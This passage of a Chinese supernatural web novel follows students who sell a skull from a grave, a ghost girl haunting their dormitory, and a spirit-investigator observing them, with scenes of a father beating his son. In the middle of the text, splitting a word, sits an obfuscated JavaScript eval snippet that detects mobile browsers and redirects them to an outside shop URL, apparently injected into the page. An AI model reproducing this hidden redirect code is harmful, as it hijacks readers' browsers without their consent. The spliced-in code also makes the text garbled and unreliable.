剩下几个人全都打趣说:“别废话那么多,再说这么多废话,以后你就不要出来吃火锅!能有什么不对劲?” “说起来,老大,你拿的啥?” 郑轩勾了勾唇角,苍白的唇色被橙红色的灯光映得有了那么些许血色,连带着蜡黄的皮肤也泛着红,仿佛是要走什么血光之灾一般:“头骨。” “什么?” 好在几个人都过完了马路,取代了古物商那里,商家是个男人,老头衫子叠穿着马甲,听是现货,亲自一验是真的,虽然年代不远,没多长时间,但好歹也是一笔生意,一笔买卖,就索性成交了。 几个小孩刚刚还有些胆战心惊,现在手里拿到了钱,反而把刚刚的恐惧全然抛在了脑后,可是足足三百元 ,足够他们大搓一顿了。 几个人就这么跑进了火锅店,吃到店面打烊才终于离开,手头还剩着十五二十块钱,并转身进了便利店,买了一包烟来抽。 “老板,拿一包白塔山。” “十五块钱。” “之前还十三?” “……”老板停下了手里的活计,半抬起头来,眼睛盯着前面的小孩:“你们还是学生吧?” 话里话外的意思再明显不过,郑轩抽了抽嘴角道:“十五就十五,要不然这样,你再送我们个糖呗?就这一毛一个的仔仔棒,拿五个。” 老板倒是也会见好就收,当即就拿了五个仔仔棒给他们,收下了十五块钱又去忙自己的事情。 边无相实在不知道自己还能说些什么,他可算知道那个小孩的问题从哪儿来,这么大的恩怨,人家不跟他谁跟他? 可刚刚他明明往那个洞里面跑,那个囚禁着无数魂魄的洞……难道他身上还有别的东西? 边无相从来没有怀疑过自己的直觉,这么一盘算,顿时觉得这个男生不一般,还真是所谓老大,一晚上就能闯不少的幺蛾子。 这几个学生一路抽烟,一路走,溜着溜着就跑去公园里面消食了,哪知公园里面绿化还算不错,地上竟冒出一条黑蛇来,那黑蛇约莫着有一个成年男人的拳头粗,算得上是粗的了,夜深看不太清花纹,可也算得上是明显,隐约能看得见些许的深浅。 剩下那三个男生都躲着那条蛇走,被那蛇吃了一大惊后,彼此抓着彼此的袖子:“老大,快看!蛇!” 做老大的那个四下望了望,大蛇已经快要擦着他的脚面过去了,饶是边无相也被吓了一跳,郑轩往后一连退了几步,口中恶语连连,将那蛇给生生踩死了,踩了一脚,似乎还不解气,也可能是没有定下心来,一连踩了五六脚,将蛇脑袋彻底踩扁在了石灰地上,硬生生扁了下去,血液喷涌而出,蛇尾巴和蛇脊柱还晃了晃,摆了摆,不一会儿就彻底没了声息。 郑轩将自己的鞋底子在地上磨了磨,把嘴里的那支烟夹在两根手指之间,吐了个烟圈:“吓死人了,哎,你帮我看看,我鞋底还有吗?” 他一边说着,一边抬起脚来,鞋底子上还沾染着不少的血,剩下那三个人都被吓了一跳,颤抖着声音说还有一些,可这个做老大的却一点都不慌,又朝着四处张望了一圈,一边张望一边向前走,绕过了公园里的又一条小道,就在前面看见了一处积水。 他将自己的鞋子往那积水里边踩了踩,然后又在地上反复磨了磨,这才又问:“看我鞋上还有吗?” 几个人又颤抖着说道:“没有了,没有了,老大,不然回去吧,这里还怪阴森的……” “回去?几点了?” “应该快十二点了吧?” 郑轩掐灭了手指里的烟,眯着眼睛看了看天,又看了看地:“那走呗?回吧!” 边无相跟在这四个人身后,整个人的脸色比吃了毒蘑菇还要难看,这人真真是个恶魔,都这样了,还能说走就走。 他看得见郑轩身上的东西,这真的是他平生第一次不想管这样的事情,这让人怎么管?倘若本心就是坏的,管得了一次也管不了第二次……他一向都主张着人性本是白纸,待人处事,起初没有任何社会道德引导,所以未免有些不带善恶,只顾结果了。 就好像婴儿为了让母亲多关注自己,会不停的啼哭,就像稚子为了得到什么东西,在得到真切的教导之前,会不惜用一切的手段。 善恶都是需要来教的,他一向都这样想。 他一直都认为人是需要引导的,也是需要包容的,成长和这二者必然是永恒挂钩的,可怎么偏偏有这样一个恶魔种,他的母亲明明看着也不是什么坏的人。 要论家庭疏于教导吗? 似乎也不该,可那还能因为什么呢? 因为基因吗? 边无相不敢深想下去,只能跟着那几个人又翻进了学校,回到了宿舍里去,宿舍的那两个人已经睡着了,这四个进了宿舍却还不急着睡,一号床和五号床大概都累了,嘴上说着不睡不睡,倒头就眯过去了。 但六号床却没有睡觉,光着脚走到了郑轩那里:“老大,我洗个衣服……不会吵到你吧?” “你洗。” 郑轩说着,神情不屑,又是一阵白烟从他口中吐了出去,铁打的床榻咯吱硬,他没由来地来了一句:“我觉得我肚里的食还没消完……” “诶,你有纸吗?” 9. 挖坟还钱惹祸端(二) 洗衣服的声音混着泡沫,一阵阵白烟从窗口飘出去,郑轩将烟头最后的火星子一下子掐灭,声音也有些倦了:“你等会儿洗完衣服,把你那洗衣服的水往瓶里灌一下,打火机在那,你把那瓶口火燎个洞,地上撒点喷点,遮一下烟味,今天抽多了。” 边无相咳了两下嗓子,今晚刚买的那包烟已经抽去了半包,心中越发不是滋味,他有个同门,也是个老烟枪,只不过年纪大些,总张口闭口说:“人年纪大了,愁就没处消了,抽支烟,身子还能轻一些……” 但这个年纪的小孩在愁什么呢?他之前处理一目五的事情,隐约还能有些头绪,但不管是小孩还是大人,愁的无非就是人际和担子,可面前这个抽烟是为什么呢? 还是没愁强说愁? 大概是没愁强说愁吧,生性这么凉薄,能有什么让他抽烟才能身子轻些呢? 心下疑惑间,边无相贴着墙根坐下,天上星子都没几个了,这群小孩差不多也总该睡了吧? 墙上的钟表一点一点走着,忽然一道若隐若现的影子从窗台上飞了过去,那影子约莫着像鬼影,黑漆漆的,看不见什么,边无相“蹭”一声站了起来,一个闪身就凑到了窗台前。 但奈何这都是在“他心通”的基础下,回溯的时间,纵然他想现在抓着这个机会将发现的问题马上解决,却也没有任何丝毫的办法,只得眼睁睁看着那黑影逐渐显出形来。 那是一个女孩。 女孩的头骨上有很多细细密密的纹路,脸上几乎看不清眉目,像是无数条粘粘上去的肌肉经脉,抱着胳膊慢慢飘进了寝室的窗子。 没睡的人还在打着游戏,是不时咳嗽两声,至于另一个则是刚晾起衣服来,已经准备躺下了,谁知,就在这片刻时间内,只听一阵阴风从窗外刮过。 准备躺下的那个六号床木讷地转过了身,刚刚或许是他的幻觉,他总觉得一号床起身了,但身形是一号床,脸却未必。 靠着墙与窗户的一号床是个瘦弱的男生,六号床木讷转身后,不知为何,一种毛骨悚然的感觉,顺着他的脊梁骨攀了上去,只得尴尬抽着嘴笑的:“你上厕所去啊?” 一号床不答话,绕着寝室中间的空地满地走,圆圈绕了一圈又一圈。 地上还有着六号床洒水留下的水渍,那些水渍里边还粘连着些许的泡沫,那些泡沫斑斑碎碎,发出极为极为微小的“滋滋”声,一号床是他们几个里边相对爱干净的一个,可现在却任由自己,光着脚在这些水渍上一点一点走,那脚步极快,极细,倘若有个长袍子披在身上,不禁让人以为是什么东西在原地打着转地飘。 “厕所——?” 一号床一边说着,一边又转起步来,六号床见一号床一直不答话,那种无数虫蚁爬的感觉越发明显,直到目光看向地下,恐惧的感觉就这样前所未有地爆开来,直接向他的脑门,嘴唇都打起来颤,想大叫却半天找不到声音,咽了好多口干涩的口水,才终于喊到:“老大——!!” 做老大的郑轩还在低头打着游戏,不知道游戏过得怎么样了,只听一句愤愤的:“别吵了!”就堵住了六号床的嘴,边无相顺着六号床的目光也看过去,原本干净的地面上有无数脚印。 而且是泥巴脚印,这种脚印要比一号床的脚更小一些,而且明显不是肉身的脚印 ,反倒是骷髅骨头的脚印。 六号床一时间动也不敢动,不知道究竟该怎么办,恐惧从上至下,将他整个人电了个透,一阵尿急,一阵眼泪,终于又开了一次口:‘老大……咳咳!’ 这下郑轩才抬起头来,一眼就望见了缩在角落里的六号床,接着就是掠过他床铺的瘦弱一号床,可能是游戏输了,怒火中烧,开口便又是没好气:“干什么!你洗完衣服,你不睡觉干嘛?” 郑轩说着,就要下床去,一副要以力服人的架势,这才看见满地的脚印,只是奈何一号床走得次数太多了,那些脚印都模糊不清,变得满地都是泥巴狼藉。 郑轩这下更来气了,起身一把抓住了一号床的胳膊:“你他妈睡觉不洗脚!” 一号床双目微闭,眼珠子上翻,嘴唇下撇,唇周一阵阵翻动着,整个人死气沉沉,浑身都仿佛没了什么力气,刚刚被郑轩一抓,枝干一样的胳膊险些让拽下去。 六号床这才壮着胆子上前道:“老大,他是不是那啥了?” “什么那啥?”郑轩说着,跟小鸡仔一样,就把一号床拎回到了床上,一号床整个人斜着被他抓着衣领,可后脚跟怎么都不着地,只有脚趾贴着擦着满地都已经是泥巴的地面。 “你去给这人接盆水,脚臭不臭啊,全是泥。” 六号床只能壮着胆子去给一号床接水,但众人的盆都在一号床的床下面,心中纠结半晌,他从铁皮柜子上拿了一号床的黑色水杯下来,将水接到了水杯里,水流“哗哗”开得极大,眨眼功夫就溢出了水杯。 边无相蹲在地上,定睛看了看一号床的脚底板,上面没有沾任何一点的泥污。 心中的那个猜想就越发笃定。 六号床接好了水,直接朝一号床的脚背上泼了过去,凉水又溅了一地,但这些水和那些泥巴浇在一起,却不见得那些泥巴变糊变稀,好在一号床这下可老实多了,一闷头倒在床上就睡了。 时间逐渐走过了凌晨的两点四十八分,整个宿舍里的众人才都歇下了,边无相在破破烂烂的黑木板子上对付了一晚,第二天起来,他自己都不用照镜子,一猜就知道定然眼下两片青。 第二天的夜色又悄然而至,六号床有了昨天的经验,早早就睡了,今天早上六号床的脸色就不是很好,或许要从他看见地面上白净一片,什么都没有开始。 昨天明明泥泞满地的,今天地上却只有水渍,而那些水渍很快就被拖把拖净了,一切都好像没发生过一般。 一号床对自己昨晚的作为没有任何记忆,六号床没好意思问,生怕会问到什么可怕的答案,做老大的更是没问,只是骂骂咧咧一句:“以后睡觉记得洗你那脚!” 说着还要“啧”一声,侧脸脸上的橘皮印子都被他的面部表情变得扭曲:“宿舍都被你弄滂臭!” 一号床不明所以,只是接下话来。 时间一转又转到了十二点多,除了六号床和那两个没挖过坟的都睡了,别的人还都醒着,几个人不知怎么就聊起了昨夜的梦。 边无相打着哈欠,听着这几个人说个不停。 “诶,我梦着一个特漂亮的姑娘。” “诶!我也梦到一个特漂亮的姑娘,不过睡得不是太舒服,身子动也动不了,总觉得有东西围着我,耳朵边吵吵的,都是尖叫!我还觉得脚一凉……” 一号床一边说着,一边把自己的身子往被子里缩了缩,两人这么一说就惹起了郑轩的兴趣:“你们都梦到了?我也梦到个,不过我看挺丑的,哎呀,剩下也记不清了。” 六号床怎么也没想到自己会半途醒来,于是只能在被子里闷闷说了声:“昨天我也梦见了,瘆得慌,那女的后面啥也没有,看着骨头也可软了……还梦到个批语,叫……” 六号床说着说着就不说了,那个批语害得他今天一整天都不安宁,郑轩不满地撇了撇嘴:“你小子他妈话说一半?” 一号床接了话:“活死人,批语就是‘活死人’。” 这下整个寝室都安静了,郑轩不禁爆了一句粗口:“兄弟,你玩这么大?” 边无相看着时间,眼看着又要临近夜间一点钟,果不然,这个点一到,窗外又刮起了阴风,边无相没再蹲墙角了,一屁股坐在了郑轩对面。 面前这个男生,实在是太有失敬畏之心了。 一阵嘀嗒声里,睡熟了的六号床,突然坐直了身子,别的几个人都还没睡,刚刚那些话题越聊越起劲,六号床这么一直身子,可把众人都吓坏了。 一众人都纷纷骂六号床“你丫的没点声响吗?”,郑轩白了一眼六号床,纯当是为了报复一号床,没说什么话。 可这六号床起来后,直着身子,僵着腿脚,胳膊也前探着,脑袋在脖子上整个转了个弯,最后盯住了郑轩。 嗓子眼里发出一阵又一阵的尖叫,说着还要拔自己的脑袋,又是扯头发,又是拉耳朵,半晌拔不下来,这下便恼羞成怒,嗷嗷叫着扑向了郑轩。 郑轩也被吓了一跳,但奈何心气太高,血气太盛,一拳就锤到了人家胸口上:“你妈的,吓死老子了!” 六号床体格子微胖,挨了这么一大圈,整个人的背都拱了起来,一阵急促退步栽在床上,口中竟还发出女人的声音——一种吃痛的叫声。 郑轩心中想来也后怕,刚刚那个情形着实诡异,没有再继续深究下去,冲着那几个装睡看热闹的人一吼:“看看看!除了看,还能干什么?睡觉!” 一群人被他唬住了,连忙又躺倒休息了,六号床一直都睡不太安稳,眼睛半睁半闭间,看到了一切,天一亮吵吵嚷嚷着要回家,老师怎么说都劝不住。 老师眼看着劝不住,只得叫来了六号床的家长,六号床父母二人都是做生意的,平日里本来就忙,还要抽时间来学校一趟,两个人都没什么好脸色,一副火气冲冲的热样子。 刚见着自己的儿子,就往脸上抽了两巴掌:“供你吃,供你喝!赚钱送你上学,你说要回家?” 六号床身体抖得跟筛子一样,也没敢抬手把脸捂住,只能低着头,任由眼泪啪嗒啪嗒往下掉:“反正我不……” 声音小小的。 但逃不过六号床父母的耳朵。 六号床的父亲更是个急性子,直接将皮带从自己的裤腰上扯了下来,狠狠抽到了六号床的胳膊腿上,六号床愣是躲都不敢躲,只有被抽狠了,才叫出一声来,眼泪把袖子浸得湿透,整张脸像泡在水里,半晌都呼吸不上来。 郑轩似乎隐约意识到了事情的严重性,一号床也大约有了些猜测。 六号床还在老师办公室里边,办公室里聚集着各班级的各科老师,还有教导主任,一众人就这么看着这个小孩被打得浑身青紫,没有一个人上前说什么。 作为教导主任,更是见缝插针,开口厉声道:“你也知道,你爸妈都是做生意的,都是乡下人,你爸除了做生意,还干木工,还要种地,哪个活计容易?现在做了生意,天南海北给你到处跑,你父母容不容易?” 话语间说着,摸了一把自己的头发,头上顶子光秃秃的,是个典型的地中海,黑紫色的衣服将他的啤酒肚衬得越大:“不瞒你说,你爸妈刚进来的时候,这个办公室都是那个味儿!” 六号床当然知道那个味儿是指什么,更别提六号床的父母,尤其是六号床的父亲,平时一向都好面子,这会儿被人说身上满身“那个味儿”,心中越发不是滋味,奈何上面是老师,人家是不能打的,如果不是自己的小孩,如果不是六号床贪吃贪玩难养活,不争气,没出息,他哪里还用得着去种地浇粪? 对,都是面前这个小孩害的! 他心中想到这里,就越发地来气,一个失手,皮带就抽向了小孩的脸,皮带上的金属块猛砸向了六号床的外眼角末端。 只听一声闷响,救护车和这对父母的哀嚎全都半天停不下来,那教导主任不方便再多说什么,便又走了出去,正好碰上了,在看热闹的一号床和郑轩。 其实这些天的风声他也不是没听过,如今,眼下出了问题,他才终于要解决。 第三天的晚上,才八点半多一些,全校的师生就全都被组织回了宿舍,并且还都被要求说要把宿舍的帘子关上拉住,不准从帘子的缝里往外看,这个要求越传越沸沸扬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14110891|149771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扬,还有人说,如果半夜听见了什么响声,都不许开门,不许说话,要早早地就把灯熄了,要不然就要被“那个”知道了。 郑轩哪里闲得住呢?刚回了宿舍,本想着晚上干脆不拉帘子的,奈何宿舍里其他人都一致强烈要求必须拉住,这才终于把窗帘拉上,可即便如此,他也没按耐住自己,闭了门以后就在帘子缝那守着。 学校里边大摆了两张长长的木桌,上面放着无数贡品,纸做的金塔山银塔山,还有些许的香,灰色的面包车在夜色里发出薄薄的光来,从车上下来了一个老和尚。 边无相这次没有跟着那些人回宿舍,在操场上守着,那老和尚他看着面熟,却怎么都想不起来是谁,胸腔内似乎还伴随着一阵阵的不安感,但这种悸动很快就停了,他想估计是自己最近睡少了,没睡好。 天下的和尚差不了几个样,和尚脑袋在夜色里锃光瓦亮,和个蛋似的,很快,校方在供桌上摆了一个黑白的相片,是一张姑娘的脸。 一阵唱经念作打,学校里的大领导全都跟着上香祭拜了,才终于结束。 边无相眼看着他们收了桌子,才又折返到宿舍里去,这一下碰好就撞见郑轩关着灯讲他那鬼故事。 一众人围成一个圈,连个手电都不打,鬼故事就脱口而出,但郑轩说,这是他那次去踩火锅店的点,和一个老人唠嗑时听过来的,这定然是真的: “咱们那个厕所离宿舍不是近吗?但是厕所那里偏偏设置一个高坎,据说这还是让人家老法师设的,咱们学校厕所里有东西,一个姑娘有一回半夜去厕所,一直都听见地上传来啪嗒啪嗒高跟鞋的声音,心里虚得很,但尿急,憋不住,这一上厕所就流失了阳气……不知道看见了什么东西,听说是早些年死在这里的一对母子,反正就是被吓疯了,然后没多久就死了,咱们宿舍现在是男宿舍,之前可是女宿舍,听说还是在咱们隔壁那个宿舍死的。” 这几句话其实挺单薄,但奈何当时的气氛已经烘托到了,众人不禁抖擞在一起,你抓着我,我抱着你,郑轩停止了故作神秘的声音,刚想放声笑,笑那些人胆子小。 隔着一堵墙,却传来了一阵阵的击打声,一号床又想起了六号床今天早上的惨状,死死抓着身边两兄弟的手,不愿松开。 边无相看了一眼时间,又到了那个点。 果不然,那些击打声音越来越重,这个血气方刚的大男孩,却不敢回自己床上睡觉去,全都挤在一张床上。 一号床胆子极小,有一点风声都瞒不住,藏不住,于是便又格外不合时宜地开口了:“老大,我感觉床边有东西。” 众人没敢说一句话,郑轩也没有张嘴,不知道究竟是心里怕了,还是已经睡了。 第四天晚上,全体师生全都去了操场,地中海的教导主任拿着话筒:“同学们,昨天呢,我们做了个法事,今天那些风言风语,流言蜚语,我们也是能听见的!” “但我们可以非常郑重地告诉你们,我们昨天确实做了法事,这个法事和学习有关,你们知道灯吧?在我们佛教文化中,灯是智慧的象征,我们就是为了给你们做开智慧的法事,虽然咱们是中专,但你们也要好好学习,争取拿出好成绩来,这样才无愧父母,无愧社会,无愧生命!” 一众学生窃窃私语,哪个宿舍死了人,这片学校以前是坟场,这些故事今天都传得沸沸扬扬,原来不过是唬人的,众人也就都散了。 边无相倒是能理解这个做法,只是,这恐怕并没有解决。 时间一转就到了第五天,学校整体都归于平静了,可郑轩的宿舍接二连三有人发高烧,高烧始终不退,医务室的药都用尽了,也没有一点办法,学校那头这才终于给批了假。 宿舍一下就空了。 转眼到了第八天,假期用尽了,宿舍里的那些人也基本好了,只有一号床羸弱些,一切似乎又步回到了正轨。 第九天,郑轩竟难得没有逃课,只是这节课上着上着,他突然昏死了过去,可大家一众都还没有意识到事情的严重,都以为是他又贪睡了,教导主任经过这次的事件,对他也多关照了些,上前拍了几下那人的肩,拍了几下那人的背,可怎么都不醒。 同班的那些人还纷纷笑着:“算了吧,估计又睡了!” 老校长也跟着班级视察,从第一个班走到这个班,撞见了众人嬉笑一人睡的场面,教导主任没了往常嚣张的姿态,弯着腰笑着,要帮校长接过他手里的报纸:“这个学生上课睡着了……还没叫醒……等醒了一定让他去国旗台下站着!” 老校长却隐约感觉到了不妙,还在嘴边,还没张口,郑轩一下子从桌上趴了起来,双眼迷瞪,眼球上翻,摇头晃脑颤着身子,嗓子里发出一阵阵的怪叫。 在教室的过道里随意走着,过道前面就是讲台的高坎,他跨不过那个坎,直接就踢了上去,倒在了讲台上,讲台上的老师被吓了一大跳,也不知该怎么办,腰上别着的麦还没关,尖叫声惊扰了窗外的鸟雀。 事情大概理清楚了,边无相终于从那面墙里出来了,整个人虚虚浮浮,险些要跪倒下去。 碰巧又赶上愁情君前来值殿,扶了一把边无相,才保留了一份体面。 边无相作揖谢过,眼下直发青。 愁情君将自己的扇子一晃,遮住了半张脸,抬手就勾起了面前人的下巴:“什么人值得你这么拼命?” 边无相对上了愁情君的狐狸眼:“本职工作而已,你怎么来这地方?” 愁情晃着扇子,他本该在天上,听说边无相难得一光顾,便来了,可他并没有将这本意说出,况且,现如今的边无相怎么记得他?他何必讨这个苦。 最终便只是眉眼一笑,扇子一遮,声音像是碎冰落在琉璃上:“这三界六道,你大可说说看,何处不留情?”